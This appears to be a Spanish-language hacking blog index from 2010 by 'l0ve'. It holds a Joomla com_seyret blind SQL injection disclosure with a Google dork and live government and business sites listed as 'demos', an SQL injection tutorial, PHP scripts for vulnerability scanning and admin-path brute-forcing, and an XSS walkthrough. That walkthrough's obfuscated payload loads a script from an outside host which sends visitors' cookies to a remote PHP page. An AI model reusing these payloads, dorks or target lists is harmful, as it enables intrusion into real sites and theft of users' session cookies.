Publicado el 10/03/2010 12:03:00 en Hacking Web. Total de votos: 2 Votar
Joomla com_seyret (id) Blind SQL Injection by l0ve.
Version: N/A
PoC/Exploit: /index.php?option=com_seyret&task=videodirectlink&id=2'(blind)
PoC/Exploit nº2: SQLMAP
Google Dork: allinurl:com_seyret
Demo:
http://www.dansocial.gov.co/capturasiss/index.php?option=com_seyret&task=videodirectlink&id=1
http://www.lacanciondelverano.net/index.php?option=com_seyret&task=videodirectlink&id=2
http://www.farmar.com.ar/index.php?option=com_seyret&task=videodirectlink&id=1
http://www.gobernacion-narino.gov.co/index.php?option=com_seyret&task=videodirectlink&id=14
http://www.imta.gob.mx/potaia/index.php?option=com_seyret&task=videodirectlink&id=15
No tengo mucha información del modulo y sobre que versiones son vulnerables .. más tarde la analizo detalladamente y confirmo la vuln.
Saludos!
Comentarios: 6 | Leer comentarios
Publicado el 04/03/2010 12:03:00 en Hacking Web. Total de votos: 9 Votar
+--------------------------------------------------------+
| SQL injection && Blind Sql Injection |
| Escrito por l0ve |
+--------------------------------------------------------+
¿Qué es sql injection?
"Inyección SQL es una vulnerabilidad informática en el nivel de la validación de las entradas a la
base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las
partes del programa con código SQL. Es, de hecho, un error de una clase más general de
vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté
incrustado dentro de otro.
Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro
código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el código
"invasor" en la base de datos."
Fuente: http://es.wikipedia.org/wiki/Inyección_SQL
¿Qué vamos a ver?
Vamos a buscar, reconocer y explotar de distintas formas "inyecciones SQL" en aplicaciones web con bases de datos MySQL version 4.x o 5.x ..
aclaración: Algunas cosas explicadas acá puede ser que no funcionen en otras base de datos ya que no todas son iguales, hay variedades de ellas ... mysql, mssql (sql server), sqlite, oracle etc ..
Antes de empezar vamos a repasar algunas cosas básicas:
? enlaza la URL con los parámetros.
& delimita donde termina un parámetro y donde comienza el otro.
= asigna el valor.
Recuerda bien ;).
Empecemos ...
Nota: En los ejemplos voy a usar siempre "localhost" y un script en php llamado "print.php"
¿Cómo reconocer una vulnerabilidad sql?
Hay varias formas de hacerlo, entre ellas puede ser usando una comilla simple ' (''%27'') al
final de la URL:
http://localhost/print.php?id=332'
también con:
- paréntesis ")"
- "comentarios" como ''/*'' , ''--'' o "#"
- palabras del lenguaje sql como "select,order by" etc ..
Ejemplos:
http://localhost/print.php?id=12) --
http://localhost/print.php?id=12)) --
http://localhost/print.php?id=12 '--
http://localhost/print.php?id=12 ') --
http://localhost/print.php?id=12 ')) --
veamos:
el tema con los "comentarios" es que puede ser que c...
Continúa aquí...Comentarios: 17 | Leer comentarios
Publicado el 23/02/2010 12:02:00 en Hacking Tools. Total de votos: 3 Votar
Código muy simple para extraer los enlaces y comprobar posibles vulnerabilidades "SQL", es algo muy básico pero .. un comienzo para empezar a codear un "scanner" de vulnerabilidades :P, así que les dejo el código para el que quiere "jugar" o le sirve.
<?php
#code by l0ve
echo "Vuln Scan 0.1\n";
if($argc <= 1) {
die("Uso: php $argv[0] servidor.com\n");
}
function conectar($web) {
$curl = curl_init($web);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
$code = curl_exec($curl);
if($code) {
return $code;
} else {
return 0;
}
}
preg_match_all("/a[\s]+[^>]*?href[\s]?=[\s\"\']+"."(.*?)[\"\']+.*?>"."([^<]+|.*?)?<\/a>/",conectar($argv[1]), $resultado);
$lista = array(
'You have an error in your SQL',
'Division by zero in',
'supplied argument is not a valid MySQL result resource in',
'Call to a member function',
'Microsoft JET Database','ODBC Microsoft Access Driver',
'Microsoft OLE DB Provider for SQL Server',
'Unclosed quotation mark',
'Microsoft OLE DB Provider for Oracle',
'[Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect',
'Incorrect syntax near',
'mysql_fetch_array()',
'Server Error in'
);
foreach($resultado[1] as $enlace) {
echo "$enlace\n";
foreach($lista as $scan) {
if(preg_match("/$scan/i", conectar("$enlace-1'"))) {
echo "\n[+] Posible Vulnerable: $enlace\n\n";
}
}
}
?>
Captura:
Saludos!
Comentarios: 5 | Leer comentarios
Publicado el 22/01/2010 12:01:00 en Hacking Tools. Total de votos: 2 Votar
No se pero esta mañana lo necesitaba, es un código simple .. por ahí a alguien le sirve ..
ahi va:
<?php
#by l0ve
#usage: php script.php url paths.txt
$archivo = file("$argv[2]");
foreach($archivo as $path)
{
$punk = curl_init();
$url = "$argv[1]/"."$path";
curl_setopt($punk, CURLOPT_URL, $url);
curl_setopt($punk, CURLOPT_NOBODY, 1);
curl_setopt($punk, CURLOPT_FRESH_CONNECT, 1);
curl_exec($punk);
$estado = curl_getinfo($punk, CURLINFO_HTTP_CODE);
if($estado == 200 || $estado == 401 || $estado == 403)
echo "".trim($url)." == $estado\n";
}
?>
paths.txt:
admin
index.php
index.html
phpmyadmin/
.bash_history
upload.php
upload.asp
uploader.php
uploader.asp
phpinfo.php
adm/
admin/
_admin/
administrator/
administracion/
_administracion/
~administracion/
administer/
upload/
uploads/
~adm/
~admin/
~administrator/
_banners/
_adv/
468/
88/
ads/
adv/
ban/
baners/
bann/
banner/
banners/
bannerz/
be/
begun/
bn/
bnr/
cnstats/
cnt/
phpadsnew/
extranet/
server-status/
server-info/
.server-status/
.server-info/
.passwd/
INSTALL/
_vti_log/
admcgi/
_notes/
_tmp/
_temp/
panel/
_panel/
~panel/
upFiles/
img/
es/
css/
socios/
Documentation/
INSTALL/setup.php
access/
active/
~guest/
~mail/
~operator/
~root/
~sys/
~sysadm/
~sysadmin/
~test/
~user/
~www/
~webmaster/
admin_upload/
admin_uploadpic/
editpassword/
manager_userinfo/
manager_tongji/
managerenter/
inc/
upfile/
admin_index/
Upfile/
admin_admin/
index_admin/
index/
default/
manage/
login/
manage_index/
index_manage/
admin1/
admin_login/
login_admin/
ad_login/
ad_manage/
count/
manager/
adminlogin/
adminuserlogin/
adm_login/
chklogin/
up/
aadmin/
admintab/
admin_main/
fileadmin/
databases/
includeinc/
app/
apps/
archive/
archives/
asp/
back/
backup/
back-up/
bak/
bakup/
bak-up/
basic/
bin/
cgi/
fcgi/
cgibin/
cgi-bin/
cgi-win/
class/
classes/
classified/
classifieds/
code/
credit/
creditcards/
cv/
content/
data/
database/
db/
dbase/
demo/
doc/
docs/
email/
downloads/
ecommerce/
error/
errors/
etc/
examples/
file/
files/
forum/
forums/
ftp/
guests/
help/
hidden/
hide/
home/
homes/
htm/
html/
include/
includes/
internet/
intranet/
lib/
libs/
libraries/
log/
logfiles/
logs/
mail/
members/
mssql/
ms-sql/
new/
old/
online/
order/
orders/
_pages/
pass/
passes/
passwd/
password/
passwords/
perl/
php/
priv/
private/
products/
scripts/
secret/
secrets/
Saludos!
Comentarios: 8 | Leer comentarios
Publicado el 19/01/2010 12:01:00 en Hacking Web. Total de votos: 6 Votar
Hace unos días encontre una vulnerabilidad XSS (Cross-site scripting) que fue reportada y reparada, aunque decidí seguir buscando .. y me encontré un XSS de similares características en un reto de la sección "wargame" llamado: "Competencia Insana", la explotación es un poco liada pero decidí crear el "POC" correspondiente combinando XSS y un poco de "Clickjacking" ..
Vamos por parte:
Este reto consiste en redireccionar una web a otra y vengarse del vendedor de zapatos que le ha robado los clientes, lo único que vemos en este reto es un "sistema de mensajes" donde los visitantes pueden dejar su firma,queja etc.
El problema de este sistema es que no filtra las comillas (" ') y algunos caracteres, donde se puede ejecutar código javascript.
XSS:
Código fuente:
Vamos a explotarlo:
' onmouseover=document.write(/<h1>PWNED/) '
Al pasar el al puntero del ratón ejecutaría algo así:
pero la explotación sigue dejando que desear :S.
Algunas cadenas que contienen comillas o palabras propias del lenguaje como HTML o javascript no son ejecutadas .. pero vamos a solucionarlo atravez del método "String.fromCharCode".
El método "String.fromCharCode" devuelve una cadena formada por los valores unicode pasados como parámetros.
Vamos a ejecutar algo así usando el método:
<script>alert("owned");</script>
inyectando:
' onmouseover=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,111,119,110,101,100,34,41,59,60,47,115,99,114,105,112,116,62,0)) '
XSS:
Vemos que funciona :P.
pero vamos a complicarlo un poco y vamos a robar alguna “cookie”:
<script src="http://kaked.iespana.es/punk.js></script>
Inyección:
' onmouseover=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,107,97,107,101,100,46,105,101,115,112,97,110,97,46,101,115,47,112,117,110,107,46,106,115,34,62,60,47,115,99,114,105,112,116,62,0)) '
punk.js
window.location="http://kaked.iespana.es/lala.php?cookie="+document.cookie
XSS:
Continúa aquí...Comentarios: 26 | Leer comentarios